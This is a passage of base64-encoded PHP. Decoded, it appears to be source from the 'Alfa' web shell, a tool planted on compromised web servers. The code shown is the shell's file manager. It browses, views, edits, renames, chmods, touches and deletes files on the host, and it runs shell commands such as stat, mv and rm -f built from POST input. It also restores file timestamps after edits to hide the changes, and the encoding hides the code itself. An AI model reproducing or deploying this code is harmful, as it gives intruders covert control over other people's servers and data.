LGV2ZW50KTsiIG9ubW91c2VvdXQ9ImhpZGVTeW1saW5rUGF0aCh0aGlzLGV2ZW50KTsiJzonJykuJz4nLigkR0xPQkFMU1snY3dkJ10uJGZbJ25hbWUnXT09JEdMT0JBTFNbJ19fZmlsZV9wYXRoJ10/IjxzcGFuIGNsYXNzPSdzaGVsbF9uYW1lJyBzdHlsZT0nZm9udC13ZWlnaHQ6dW5zZXQ7Jz4iLiRmWyduYW1lJ10uIjwvc3Bhbj4iOmh0bWxzcGVjaWFsY2hhcnMoJG5ld25hbWUpKTonZyhcJ0ZpbGVzTWFuXCcsXCcnLiRmWydwYXRoJ10uJ1wnKTsiIGhyZWY9IiNhY3Rpb249ZmlsZW1hbiZwYXRoPScuJGZbJ3BhdGgnXS4nIiBmbmFtZT0iJy4kcmF3X25hbWUuJyIgZnR5cGU9ImZvbGRlciIgcGF0aD0iJy4kR0xPQkFMU1snY3dkJ10uJyIgb3B0X3RpdGxlPSInLiRmWydsaW5rJ10uJyIgJy4oaXNzZXQoJGZbJ2xpbmsnXSk/J29ubW91c2VvdmVyPSJzaG93U3ltbGlua1BhdGgodGhpcyxldmVudCk7IiBvbm1vdXNlb3V0PSJoaWRlU3ltbGlua1BhdGgodGhpcyxldmVudCk7Iic6JycpLic+PGI+fCAnIC4gaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKSAuICcgfDwvYj4nKS4nPC9hPjwvdGQ+PC9kaXY+PHRkPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJtYWluX3NpemUiPicuKCgkZlsndHlwZSddPT0nZmlsZScpPyhpc3NldCgkZlsnbGluayddKT8nW0xdICc6JycpLmFsZmFTaXplKCRmWydzaXplJ10pOiRmWyd0eXBlJ10pLic8L3NwYW4+PC90ZD48dGQ+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyIgY2xhc3M9Im1haW5fbW9kaWZ5Ij4nLiRmWydtb2RpZnknXS4nPC9zcGFuPjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJtYWluX293bmVyX2dyb3VwIj4nLiRmWydvd25lciddLicvJy4kZlsnZ3JvdXAnXS4nPC9zcGFuPjwvdGQ+PHRkPjxhIGlkPSJpZF9jaG1vZGVfJy4kY2MuJyIgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLFwnY2htb2RcJyxcJ1wnLFwnXCcsXCdcJyxcJycuJGZbJ3R5cGUnXS4nXCcpIj4nLgokZlsncGVybXMnXS4nPC90ZD48dGQ+PGEgaWQ9ImlkX3JlbmFtZV8nLiRjYy4nIiB0aXRsZT0iUmVuYW1lIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLCBcJ3JlbmFtZVwnLFwnXCcsXCdcJyxcJ1wnLFwnJy4kZlsndHlwZSddLidcJykiPlI8L2E+IDxhIGlkPSJpZF90b3VjaF8nLiRjYy4nIiB0aXRsZT0iTW9kaWZ5IERhdGV0aW1lIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLCBcJ3RvdWNoXCcsXCdcJyxcJ1wnLFwnXCcsXCcnLiRmWyd0eXBlJ10uJ1wnKSI+VDwvYT4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nIDxhIGlkPSJpZF9lZGl0XycuJGNjLiciIGNsYXNzPSJhY3Rpb25zIiB0aXRsZT0iRWRpdCIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLCBcJ2VkaXRcJyxcJ1wnLFwnXCcsXCdcJyxcJycuJGZbJ3R5cGUnXS4nXCcpIj5FPC9hPiA8YSBpZD0iaWRfZG93bmxvYWRfJy4kY2MuJyIgdGl0bGU9IkRvd25sb2FkIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy4kcmF3X25hbWUuJ1wnLCBcJ2Rvd25sb2FkXCcpIj5EPC9hPic6JycpLic8YSBpZD0iaWRfZGVsZXRlXycuJGNjLiciIHRpdGxlPSJEZWxldGUiIGNsYXNzPSJhY3Rpb25zIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJ2YXIgY2hrID0gY29uZmlybShcJ0FyZSBZb3UgU3VyZSBGb3IgRGVsZXRlICMgJy5hZGRzbGFzaGVzKHJhd3VybGRlY29kZSgkZlsnbmFtZSddKSkuJyAjID9cJyk7IGNoayA/IGcoXCdGaWxlc01hblwnLG51bGwsXCdkZWxldGVcJywgXCcnLiRyYXdfbmFtZS4nXCcpIDogXCdcJzsiPiBYIDwvYT48L3RkPjwvdHI+JzsKJGwgPSAkbD8wOjE7CiRjYysrOwp9CmVjaG8gIjx0ciBpZD0nZmlsZW1hbmFnZXJfbGFzdF90cic+PHRkIGNvbHNwYW49Nz4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNYW4nPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoKCRHTE9CQUxTWydnbG9iX2NoZGlyX2ZhbHNlJ10/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKSkuIic+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiInPgo8c2VsZWN0IGlkPSd0b29sc19zZWxlY3RvcicgbmFtZT0nYWxmYTEnPjxvcHRpb24gdmFsdWU9J2NvcHknPkNvcHk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdtb3ZlJz5Nb3ZlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nZGVsZXRlJyBzZWxlY3RlZD5EZWxldGU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSd6aXAnPkFkZCAyIENvbXByZXNzICh6aXApPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ndW56aXAnPkFkZCAyIFVuY29tcHJlc3MgKHppcCk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdwYXN0ZSc+UGFzdGUgLyBaaXAgLyBVbnppcCA8L29wdGlvbj48L3NlbGVjdD4KPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPgo8L2Zvcm0+PC90YWJsZT48ZGl2IGNsYXNzPSdwYWdlcy1ob2xkZXInPjxkaXYgY2xhc3M9J3BhZ2VzLW51bWJlcic+Ii4kcGFnZV9idWlsZGVyLiI8L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj4iOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gZ2V0X3BhZ2luYXRpb25fbGlua3MoJGN1cnJlbnRfcGFnZSwgJHRvdGFsX3BhZ2VzKXsKICAgICRsaW5rcyA9ICIiOwogICAgaWYgKCR0b3RhbF9wYWdlcyA+PSAxICYmICRjdXJyZW50X3BhZ2UgPD0gJHRvdGFsX3BhZ2VzKSB7CgkJJGxpbmtzIC49ICI8YSBvbmNsaWNrPVwicGFnZUNoYW5nZWRGaWxlc01hbih0aGlzKTtcIiBjbGFzcz1cInBhZ2UtbnVtYmVyXCI+PDw8L2E+IjsKCQkkc2VsZWN0ZWRfcGFnZSA9ICIiOwoJCWlmKCRjdXJyZW50X3BhZ2UgPT0gMSl7CgkJCSRzZWxlY3RlZF9wYWdlID0gIiBhY3RpdmUtcGFnZS1udW1iZXIiOwoJCX0KICAgICAgICAkbGlua3MgLj0gIjxhIG9uY2xpY2s9XCJwYWdlQ2hhbmdlZEZpbGVzTWFuKHRoaXMpO1wiIGNsYXNzPVwicGFnZS1udW1iZXIiLiRzZWxlY3RlZF9wYWdlLiJcIj4xPC9hPiI7CiAgICAgICAgJGkgPSBtYXgoMiwgJGN1cnJlbnRfcGFnZSAtIDUpOwogICAgICAgIGlmICgkaSA+IDIpCiAgICAgICAgICAgICRsaW5rcyAuPSAiPGEgY2xhc3M9XCJwYWdlLW51bWJlclwiPi4uLjwvYT4iOwogICAgICAgIGZvciAoOyAkaSA8IG1pbigkY3VycmVudF9wYWdlICsgNiwgJHRvdGFsX3BhZ2VzKTsgJGkrKykgewoJCQlpZigkaSA9PSAkY3VycmVudF9wYWdlKXsKCQkJCSRzZWxlY3RlZF9wYWdlID0gIiBhY3RpdmUtcGFnZS1udW1iZXIiOwoJCQl9ZWxzZXsKCQkJCSRzZWxlY3RlZF9wYWdlID0gIiI7CgkJCX0KICAgICAgICAgICAgJGxpbmtzIC49ICI8YSBvbmNsaWNrPVwicGFnZUNoYW5nZWRGaWxlc01hbih0aGlzKTtcIiBjbGFzcz1cInBhZ2UtbnVtYmVyIi4kc2VsZWN0ZWRfcGFnZS4iXCI+eyRpfTwvYT4iOwogICAgICAgIH0KICAgICAgICBpZiAoJGkgIT0gJHRvdGFsX3BhZ2VzKQogICAgICAgICAgICAkbGlua3MgLj0gIjxhIGNsYXNzPVwicGFnZS1udW1iZXJcIj4uLi48L2E+IjsKCQkkc2VsZWN0ZWRfcGFnZSA9ICIgbGFzdC1wYWdlLW51bWJlciI7CgkJaWYoJGN1cnJlbnRfcGFnZSA9PSAkdG90YWxfcGFnZXMpewoJCQkkc2VsZWN0ZWRfcGFnZSAuPSAiIGFjdGl2ZS1wYWdlLW51bWJlciI7CgkJfQogICAgICAgICRsaW5rcyAuPSAiPGEgb25jbGljaz1cInBhZ2VDaGFuZ2VkRmlsZXNNYW4odGhpcyk7XCIgY2xhc3M9XCJwYWdlLW51bWJlciIuJHNlbGVjdGVkX3BhZ2UuIlwiPnskdG90YWxfcGFnZXN9PC9hPiI7CgkJJGxpbmtzIC49ICI8YSBvbmNsaWNrPVwicGFnZUNoYW5nZWRGaWxlc01hbih0aGlzKTtcIiBjbGFzcz1cInBhZ2UtbnVtYmVyXCI+Pj48L2E+IjsKICAgIH0KICAgIHJldHVybiAkbGlua3M7Cn0KZnVuY3Rpb24gYWxmYUZpbGVzVG9vbHMoKXsKYWxmYWhlYWQoKTsKZWNobyAnPGRpdiBjbGFzcz0iZmlsZXN0b29scyIgc3R5bGU9ImhlaWdodDogMTAwJTsiPic7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSkpJF9QT1NUWydhbGZhMSddID0gcmF3dXJsZGVjb2RlKCRfUE9TVFsnYWxmYTEnXSk7CiRhbGZhMV9kZWNvZGVkID0gJF9QT1NUWydhbGZhMSddOwokY2hkaXJfZmFscyA9IGZhbHNlOwppZighQGNoZGlyKCRfUE9TVFsnYyddKSl7CgkkY2hkaXJfZmFscyA9IHRydWU7CgkkX1BPU1RbJ2FsZmExJ10gPSAkX1BPU1RbImMiXS4iLyIuJF9QT1NUWyJhbGZhMSJdOwoJJGFsZmFfY2FucnVuY21kID0gX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKTsKCWlmKCRhbGZhX2NhbnJ1bmNtZCl7CgkJJHNsYXNoZWRfYWxmYTEgPSBhZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTEnXSk7CgkJJGZpbGVfaW5mbyA9IGV4cGxvZGUoIjoiLCBhbGZhRXgoJ3N0YXQgLWMgIiVGOiVVOiVHOiVzOiVZOjAlYTolQSIgIicuJHNsYXNoZWRfYWxmYTEuJyInKSk7CgkJJHBlcm1fY29sb3JfY2xhc3MgPSBhbGZhRXgoImlmIFtbIC13ICciLiRzbGFzaGVkX2FsZmExLiInIF1dOyB0aGVuIGVjaG8gbWFpbl9ncmVlbl9wZXJtOyBlbGlmIFtbIC1yICciLiRzbGFzaGVkX2FsZmExLiInIF1dOyB0aGVuIGVjaG8gbWFpbl93aGl0ZV9wZXJtOyBlbHNlIGVjaG8gbWFpbl9yZWRfcGVybTsgZmkiKTsKCX0KfQppZigkX1BPU1RbJ2FsZmEyJ10gPT0gJ2F1dG8nKXsKaWYoaXNfYXJyYXkoQGdldGltYWdlc2l6ZSgkX1BPU1RbJ2FsZmExJ10pKSl7CiRfUE9TVFsnYWxmYTInXSA9ICdpbWFnZSc7Cn1lbHNlewoJJF9QT1NUWydhbGZhMiddID0gJ3ZpZXcnOwoJaWYoJGNoZGlyX2ZhbHMpewoJCWlmKCRhbGZhX2NhbnJ1bmNtZCl7CgkJCSRtaW1lID0gZXhwbG9kZSgiOiIsIGFsZmFFeCgiZmlsZSAtLW1pbWUtdHlwZSAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTEnXSkuIiciKSk7CgkJCSRtaW1ldHlwZSA9ICRtaW1lWzFdOwoJCQlpZighZW1wdHkoJG1pbWV0eXBlKSl7CgkJCQlpZihzdHJzdHIoJG1pbWV0eXBlLCAiaW1hZ2UiKSl7CgkJCQkJJF9QT1NUWydhbGZhMiddID0gJ2ltYWdlJzsKCQkJCX0KCQkJfQoJCX0KCX0KfQp9CmlmKCRfUE9TVFsnYWxmYTInXSA9PSAicmVuYW1lIiAmJiAhZW1wdHkoJF9QT1NUWydhbGZhMyddKSAmJiBAaXNfd3JpdGFibGUoJF9QT1NUWydhbGZhMSddKSl7JHJlbmFtZV9jYWNoZSA9ICRfUE9TVFsnYWxmYTMnXTt9CmlmKEAkX1BPU1RbJ2FsZmEyJ10gPT0gJ21rZmlsZScpewokX1BPU1RbJ2FsZmExJ10gPSB0cmltKCRfUE9TVFsnYWxmYTEnXSk7CmlmKCRjaGRpcl9mYWxzJiYkYWxmYV9jYW5ydW5jbWQpewoJaWYoX2FsZmFfaXNfd3JpdGFibGUoJF9QT1NUWyJjIl0pKXsKCQlhbGZhRXgoImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0pLiInO3RvdWNoICciLmFkZHNsYXNoZXMoJGFsZmExX2RlY29kZWQpLiInIik7CgkJJF9QT1NUWydhbGZhMiddID0gImVkaXQiOwoJfQp9CmlmKCFAZmlsZV9leGlzdHMoJF9QT1NUWydhbGZhMSddKSl7CiRmcCA9IEBmb3BlbigkX1BPU1RbJ2FsZmExJ10sICd3Jyk7CmlmKCRmcCl7CiRfUE9TVFsnYWxmYTInXSA9ICJlZGl0IjsKZmNsb3NlKCRmcCk7Cn0KfWVsc2V7CiRfUE9TVFsnYWxmYTInXSA9ICJlZGl0IjsKfQp9CmlmKCFfYWxmYV9maWxlX2V4aXN0cyhAJF9QT1NUWydhbGZhMSddKSl7CmVjaG8gX19wcmUoKS4iPGNlbnRlcj48cD48ZGl2IGNsYXNzPVwidHh0Zm9udFwiPjxmb250IGNvbG9yPSdyZWQnPiEuLi5GSUxFIERPRVNUIE5PVCBFWElUUy4uLiE8L2ZvbnQ+PC9kaXY+PC9wPjwvY2VudGVyPjwvZGl2PjxzY3JpcHQ+ZWRpdG9yX2Vycm9yPWZhbHNlO3JlbW92ZUhpc3RvcnkoJyIuJF9QT1NUWydhbGZhNCddLiInKTs8L3NjcmlwdD4iOwphbGZhRm9vdGVyKCk7CnJldHVybjsKfQppZigkY2hkaXJfZmFscyl7CiRmaWxlc2l6ZSA9ICRmaWxlX2luZm9bM107CiR1aWRbIm5hbWUiXSA9ICRmaWxlX2luZm9bMV07CiRnaWRbIm5hbWUiXSA9ICRmaWxlX2luZm9bMl07CiRwZXJtY29sb3IgPSBhbGZhUGVybXNDb2xvcihhcnJheSgiY2xhc3MiPT4kcGVybV9jb2xvcl9jbGFzcywibnVtIj0+JGZpbGVfaW5mb1s1XSwiaHVtYW4iPT4kZmlsZV9pbmZvWzZdKSx0cnVlKTsKfWVsc2V7CiR1aWQgPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikmJmZ1bmN0aW9uX2V4aXN0cygiZmlsZW93bmVyIik/QHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJF9QT1NUWydhbGZhMSddKSk6Jyc7CiRnaWQgPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikmJmZ1bmN0aW9uX2V4aXN0cygiZmlsZWdyb3VwIik/QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJF9QT1NUWydhbGZhMSddKSk6Jyc7CmlmKCEkdWlkJiYhJGdpZCl7CiR1aWRbJ25hbWUnXSA9IGZ1bmN0aW9uX2V4aXN0cygiZmlsZW93bmVyIik/QGZpbGVvd25lcigkX1BPU1RbJ2FsZmExJ10pOicnOwokZ2lkWyduYW1lJ10gPSBmdW5jdGlvbl9leGlzdHMoImZpbGVncm91cCIpP0BmaWxlZ3JvdXAoJF9QT1NUWydhbGZhMSddKTonJzsKfQokcGVybWNvbG9yID0gYWxmYVBlcm1zQ29sb3IoJF9QT1NUWydhbGZhMSddKTsKJGZpbGVzaXplID0gQGZpbGVzaXplKCRfUE9TVFsnYWxmYTEnXSk7CmlmKCFpc3NldCgkdWlkWyduYW1lJ10sJGdpZFsnbmFtZSddKXx8ZW1wdHkoJHVpZFsnbmFtZSddKXx8ZW1wdHkoJGdpZFsnbmFtZSddKSl7CglpZihfYWxmYV9jYW5fcnVuQ29tbWFuZCgpKXsKCQlsaXN0KCR1aWRbJ25hbWUnXSwkZ2lkWyduYW1lJ10pID0gZXhwbG9kZSgiOiIsIGFsZmFFeCgnc3RhdCAtYyAiJVU6JUciICInLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0uIi8iLiRfUE9TVFsiYWxmYTEiXSkuJyInKSk7Cgl9Cn0KfQppZihzdWJzdHIoJF9QT1NUWydhbGZhMSddLCAwLCA3KSA9PSAicGhhcjovLyIpewoJJGFsZmFfZmlsZV9kaXJlY3RvcnkgPSAkX1BPU1RbJ2FsZmExJ107Cn1lbHNlewoJJGFsZmFfZmlsZV9kaXJlY3RvcnkgPSBzdHJfcmVwbGFjZSgiLy8iLCAiLyIsKCRjaGRpcl9mYWxzPyIiOiRfUE9TVFsnYyddLicvJykuJF9QT1NUWydhbGZhMSddKTsKfQplY2hvICc8ZGl2IHN0eWxlPSJvdmVyZmxvdzogaGlkZGVuO3doaXRlLXNwYWNlOiBub3dyYXA7dGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7Ij48c3BhbiBjbGFzcz0iZWRpdG9yX2ZpbGVfaW5mb192YXJzIj5OYW1lOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKGJhc2VuYW1lKCRhbGZhMV9kZWNvZGVkKSkuJyA8c3BhbiBjbGFzcz0iZWRpdG9yX2ZpbGVfaW5mb192YXJzIj5TaXplOjwvc3Bhbj4gJy5hbGZhU2l6ZSgkZmlsZXNpemUpLicgPHNwYW4gY2xhc3M9ImVkaXRvcl9maWxlX2luZm9fdmFycyI+UGVybWlzc2lvbjo8L3NwYW4+ICcuJHBlcm1jb2xvci4nIDxzcGFuIGNsYXNzPSJlZGl0b3JfZmlsZV9pbmZvX3ZhcnMiPk93bmVyL0dyb3VwOjwvc3Bhbj4gJy4kdWlkWyduYW1lJ10uJy8nLiRnaWRbJ25hbWUnXS4nIDxzcGFuIGNsYXNzPSJlZGl0b3JfZmlsZV9pbmZvX3ZhcnMiPkRpcmVjdG9yeTo8L3NwYW4+ICcuZGlybmFtZSgkYWxmYV9maWxlX2RpcmVjdG9yeSkuJzwvZGl2Pic7CmlmKGVtcHR5KCRfUE9TVFsnYWxmYTInXSkpJF9QT1NUWydhbGZhMiddID0gJ3ZpZXcnOwppZighX2FsZmFfaXNfZGlyKCRfUE9TVFsnYWxmYTEnXSkpewokbSA9IGFycmF5KCdWaWV3JywgJ0Rvd25sb2FkJywgJ0hpZ2hsaWdodCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnLCAnRGVsZXRlJywgJ0ltYWdlJywgJ0hleGR1bXAnKTsKJGZ0eXBlID0gImZpbGUiOwp9ZWxzZXsKJG0gPSBhcnJheSgnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7CiRmdHlwZSA9ICJkaXIiOwp9CmVjaG8oJzxkaXY+Jyk7CmZvcmVhY2goJG0gYXMgJHYpCmVjaG8gJHYgPT0gJ0RlbGV0ZScgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0idmFyIGNoaz1jb25maXJtKFwnQXJlIFlvdSBTdXJlIEZvciBEZWxldGUgVGhpcyBGaWxlID9cJyk7Y2hrP2VkaXRvcihcJycuYWRkc2xhc2hlcyghaXNzZXQoJHJlbmFtZV9jYWNoZSk/JF9QT1NUWydhbGZhMSddOiRyZW5hbWVfY2FjaGUpLidcJyxcJycuc3RydG9sb3dlcigkdikuJ1wnLFwnXCcsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydhbGZhNCddLidcJyxcJycuJGZ0eXBlLidcJyk6XCdcJzsiPjxzcGFuIGNsYXNzPSJlZGl0b3JfYWN0aW9ucyI+Jy4oKHN0cnRvbG93ZXIoJHYpPT1AJF9QT1NUWydhbGZhMiddKT8nPGI+PHNwYW4gY2xhc3M9ImVkaXRvcl9hY3Rpb25zIj4gJy4kdi4nIDwvc3Bhbj4gPC9iPic6JHYpLicgfCA8L3NwYW4+PC9hPiAnIDogJzxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImVkaXRvcihcJycuYWRkc2xhc2hlcyghaXNzZXQoJHJlbmFtZV9jYWNoZSk/JF9QT1NUWydhbGZhMSddOiRyZW5hbWVfY2FjaGUpLidcJyxcJycuc3RydG9sb3dlcigkdikuJ1wnLFwnXCcsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydhbGZhNCddLidcJyxcJycuJGZ0eXBlLidcJykiPjxzcGFuIGNsYXNzPSJlZGl0b3JfYWN0aW9ucyI+Jy4oKHN0cnRvbG93ZXIoJHYpPT1AJF9QT1NUWydhbGZhMiddKT8nPGI+PHNwYW4gY2xhc3M9ImVkaXRvcl9hY3Rpb25zIj4gJy4kdi4nIDwvc3Bhbj4gPC9iPic6JHYpLicgfCA8L3NwYW4+PC9hPic7CmVjaG8gJzwvZGl2Pic7CnN3aXRjaCgkX1BPU1RbJ2FsZmEyJ10pewpjYXNlICd2aWV3JzpjYXNlICdlZGl0JzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKJGRpc2FibGVkX2J0biA9ICIiOwppZighQGlzX3dyaXRhYmxlKCRfUE9TVFsnYWxmYTEnXSkmJiFfYWxmYV9pc193cml0YWJsZSgkX1BPU1RbJ2FsZmExJ10pKXsKJGRpc2FibGVkX2J0biA9ICJkaXNhYmxlZD1kaXNhYmxlZCI7CiRkaXNhYmxlZF9idG5fc3R5bGU9ICdiYWNrZ3JvdW5kOiAjZmYwMDAwO2NvbG9yOiAjZmZmOyc7Cn0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTMnXSkpewokX1BPU1RbJ2FsZmEzJ10gPSBzdWJzdHIoJF9QT1NUWydhbGZhMyddLDEpOwokdGltZSA9IEBmaWxlbXRpbWUoJF9QT1NUWydhbGZhMSddKTsKJGZwID0gQF9fd3JpdGVfZmlsZSgkX1BPU1RbJ2FsZmExJ10sJF9QT1NUWydhbGZhMyddKTsKaWYoJGNoZGlyX2ZhbHMmJiRhbGZhX2NhbnJ1bmNtZCl7Cgkkcm5hbWUgPSAkYWxmYTFfZGVjb2RlZDsKCSRyYW5kbmFtZSA9ICRybmFtZS5yYW5kKDExMSw5OTk5KTsKCSRmaWxlcGF0aCA9IGRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKS4iLyIuJHJhbmRuYW1lOwoJaWYoJGZwID0gQF9fd3JpdGVfZmlsZSgkZmlsZXBhdGggLCRfUE9TVFsnYWxmYTMnXSkpewoJCWFsZmFFeCgibXYgJyIuYWRkc2xhc2hlcygkZmlsZXBhdGgpLiInICciLmFkZHNsYXNoZXMoJF9QT1NUWyJhbGZhMSJdKS4iJztybSAtZiAnIi5hZGRzbGFzaGVzKCRmaWxlcGF0aCkuIiciKTsKCX0KfQppZigkZnApewplY2hvICdTYXZlZCE8YnI+JzsKQHRvdWNoKCRfUE9TVFsnYWxmYTEnXSwkdGltZSwkdGltZSk7Cn0KfQplY2hvICc8ZGl2IGNsYXNzPSJlZGl0b3ItdmlldyI+PGRpdiBjbGFzcz0idmlldy1jb250ZW50IGVkaXRvci1hY2UtY29udHJvbGxlciI+PGRpdiBzdHlsZT0iZGlzcGxheTppbmxpbmUtYmxvY2s7Ij4nLl9hbGZhX2xvYWRfYWNlX29wdGlvbnMoImVkaXRvciIpLic8YnV0dG9uIHN0eWxlPSJib3JkZXItcmFkaXVzOjEwcHg7IiBjbGFzcz0iYnV0dG9uIGFjZS1jb250cm9sZXIiIG9uQ2xpY2s9ImNvcHlUb0NsaXBib2FyZCh0aGlzKTsiPkNvcHk8L2J1dHRvbj4gPGJ1dHRvbiBjbGFzcz0iYnV0dG9uIGFjZS1jb250cm9sZXIiIG9uY2xpY2s9ImFsZmFBY2VUb0Z1bGxzY3JlZW4odGhpcyk7Ij5GdWxsIFNjcmVlbjwvYnV0dG9uPiA8YnV0dG9uIG9uY2xpY2s9InZhciBhY2VfdmFsID0gYWxmYV9hY2VfZWRpdG9ycy5lZGl0b3JbdGhpcy5nZXRBdHRyaWJ1dGUoXCdhY2VfaWRcJyldLmdldFZhbHVlKCk7ZWRpdG9yKFwnJy5hZGRzbGFzaGVzKCRhbGZhMV9kZWNvZGVkKS4nXCcsXCdlZGl0XCcsXCcxXCcrYWNlX3ZhbCxcJycuJF9QT1NUWydjJ10uJ1wnLFwnJy4kX1BPU1RbJ2FsZmE0J10uJ1wnLFwnJy4kZnR5cGUuJ1wnKTtyZXR1cm4gZmFsc2U7IiBjbGFzcz0iYnV0dG9uIGFjZS1jb250cm9sZXIgYWNlLXNhdmUtYnRuIiBzdHlsZT0id2lkdGg6IDEwMHB4O2hlaWdodDogMzNweDsnLiRkaXNhYmxlZF9idG5fc3R5bGUuJyIgJy4kZGlzYWJsZWRfYnRuLic+c2F2ZTwvYnV0dG9uPjwvZGl2PjxwcmUgY2xhc3M9Im1sMSB2aWV3X21sX2NvbnRlbnQiPic7CmVjaG8gaHRtbHNwZWNpYWxjaGFycyhfX3JlYWRfZmlsZSgkX1BPU1RbJ2FsZmExJ10pKTsKZWNobyAnPC9wcmU+PC9kaXY+PC9kaXY+JzsKYnJlYWs7CmNhc2UgJ2hpZ2hsaWdodCc6CkBjaGRpcigkX1BPU1RbJ2MnXSk7CmlmKEBpc19yZWFkYWJsZSgkX1BPU1RbJ2FsZmExJ10pKXsKZWNobyAnPGRpdiBjbGFzcz0iZWRpdG9yLXZpZXciPjxkaXYgY2xhc3M9InZpZXctY29udGVudCI+PGRpdiBjbGFzcz0ibWwxIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UxZTFlMTtjb2xvcjpibGFjazsiPic7CiRjb2RlID0gQGhpZ2hsaWdodF9maWxlKCRfUE9TVFsnYWxmYTEnXSx0cnVlKTsKZWNobyBzdHJfcmVwbGFjZShhcnJheSgnPHNwYW4gJywnPC9zcGFuPicpLCBhcnJheSgnPGZvbnQgJywnPC9mb250PicpLCRjb2RlKS4nPC9kaXY+PC9kaXY+PC9kaXY+JzsKfQpicmVhazsKY2FzZSAnZGVsZXRlJzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKaWYoQGlzX3dyaXRhYmxlKCRfUE9TVFsnYWxmYTEnXSl8fCRHTE9CQUxTWyJnbG9iX2NoZGlyX2ZhbHNlIl0pewokZGVsZXRlZCA9IHRydWU7CmlmKCFAdW5saW5rKCRfUE9TVFsnYWxmYTEnXSkpewoJJGRlbGV0ZWQgPSBmYWxzZTsKCWlmKCRhbGZhX2NhbnJ1bmNtZCl7CgkJaWYoX2FsZmFfaXNfd3JpdGFibGUoJF9QT1NUWydhbGZhMSddKSl7CgkJCWFsZmFFeCgicm0gLWYgJyIuYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmExJ10pLiInIik7CgkJCSRkZWxldGVkID0gdHJ1ZTsKCQl9Cgl9Cn0KaWYoJGRlbGV0ZWQpZWNobyAnRmlsZSBEZWxldGVkLi4uPHNjcmlwdD52YXIgZWxlbSA9ICQoIicuJF9QT1NUWydhbGZhNCddLiciKS5wYXJlbnROb2RlO2VsZW0ucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChlbGVtKTtkZWxldGUgZWRpdG9yX2ZpbGVzWyInLiRfUE9TVFsnYWxmYTQnXS4nIl07PC9zY3JpcHQ+JztlbHNlIGVjaG8gJ0Vycm9yLi4uJzt9CmJyZWFrOwpjYXNlICdjaG1vZCc6CkBjaGRpcigkX1BPU1RbJ2MnXSk7CmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmEzJ10pKXsKJHBlcm1zID0gMDsKZm9yKCRpPXN0cmxlbigkX1BPU1RbJ2FsZmEzJ10pLTE7JGk+PTA7LS0kaSkKJHBlcm1zICs9IChpbnQpJF9QT1NUWydhbGZhMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ2FsZmEzJ10pLSRpLTEpKTsKaWYoIUBjaG1vZCgkX1BPU1RbJ2Fs